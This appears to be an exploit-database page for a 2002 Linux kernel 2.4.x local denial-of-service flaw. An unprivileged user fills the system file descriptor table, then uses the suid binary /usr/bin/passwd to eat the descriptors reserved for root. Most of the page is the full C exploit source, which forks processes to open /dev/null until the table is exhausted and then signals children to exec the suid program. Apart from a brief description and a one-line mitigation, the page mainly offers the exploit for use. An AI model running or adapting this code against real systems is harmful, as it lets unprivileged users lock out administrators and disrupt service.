header-logo
Suggest Exploit
vendor:
Linux Kernel
by:
SecurityFocus
7.2
CVSS
HIGH
Denial of Service
400
CWE
Product Name: Linux Kernel
Affected Version From: Linux Kernel 2.4.x
Affected Version To: Linux Kernel 2.4.x
Patch Exists: YES
Related CWE: N/A
CPE: o:linux:linux_kernel
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux
2002

Linux Kernel File Descriptor Exhaustion

Recent versions of the Linux kernel include a collection of file descriptors which are reserved for usage by processes executing as the root user. By default, the size of this collection is set to 10 file descriptors. It is possible for a local, non-privileged user to open all system file descriptors. The malicious user may then exhaust the pool of reserved descriptors by opening several common suid binaries, resulting in a denial of service condition.

Mitigation:

Limit the number of file descriptors available to the root user.
Source

Exploit-DB raw data:

/*
source: https://www.securityfocus.com/bid/5178/info

The Linux kernel is a freely available, open source kernel originally written by Linus Torvalds. It is the core of all Linux distributions.

Recent versions of the Linux kernel include a collection of file descriptors which are reserved for usage by processes executing as the root user. By default, the size of this collection is set to 10 file descriptors.

It is possible for a local, non-privileged user to open all system file descriptors. The malicious user may then exhaust the pool of reserved descriptors by opening several common suid binaries, resulting in a denial of service condition. 
*/

#include <stdio.h>

#include <unistd.h>

#include <signal.h>

#include <fcntl.h>

#include <errno.h>







#define PREFORK 1

#define EXECBIN "/usr/bin/passwd"

#define FREENUM 18





static int fc = 0;

static int ec = 0;







void forkmore(int v)

{

    fc++;

}





void execmore(int v)

{

    ec++;

}





int main()

{

    int r, cn, pt[PREFORK];





    signal(SIGUSR1, &forkmore);

    signal(SIGUSR2, &execmore);

    printf("\n");



    for (cn = 0; cn < PREFORK; cn++) {

	if (!(r = fork())) {

	    printf("\npreforked child %d", cn);

	    fflush(stdout);

	    while (!ec) {

		usleep(100000);

	    }



	    printf("\nexecuting %s\n", EXECBIN);

	    fflush(stdout);



	    execl(EXECBIN, EXECBIN, NULL);



	    printf("\nwhat the fuck?");

	    fflush(stdout);

	    while (1)

		sleep(999999);

	    exit(1);

	} else

	    pt[cn] = r;

    }



    sleep(1);

    printf("\n\n");

    fflush(stdout);

    cn = 0;



    while (1) {

	fc = ec = 0;

	cn++;



	if (!(r = fork())) {

	    int cnt = 0, fd = 0, ofd = 0;



	    while (1) {

		ofd = fd;

		fd = open("/dev/null", O_RDWR);

		if (fd < 0) {

		    printf("errno %d ", errno);

		    printf("pid %d got %d files\n", getpid(), cnt);

		    fflush(stdout);



		    if (errno == ENFILE)

			kill(getppid(), SIGUSR2);

		    else

			kill(getppid(), SIGUSR1);



		    break;

		} else

		    cnt++;

	    }



	    ec = 0;



	    while (1) {

		usleep(100000);

		if (ec) {

		    printf("\nfreeing some file descriptors...\n");

		    fflush(stdout);

		    for (cn = 0; cn < FREENUM; cn++) {

			printf("\n pid %d closing %d", getpid(), ofd);

			close(ofd--);

		    }

		    ec = 0;

		    kill(getppid(), SIGUSR2);

		}

	    }



	} else {

	    while (!ec && !fc)

		usleep(100000);



	    if (ec) {

		printf("\n\nfile limit reached, eating some root's fd");

		fflush(stdout);



		sleep(1);

		ec = 0;

		kill(r, SIGUSR2);

		while (!ec)

		    sleep(1);



		for (cn = 0; cn < PREFORK; cn++)

		    kill(pt[cn], SIGUSR2);



		while (1) {

		    sleep(999999);

		}

	    }

	}

    }



    return 0;

}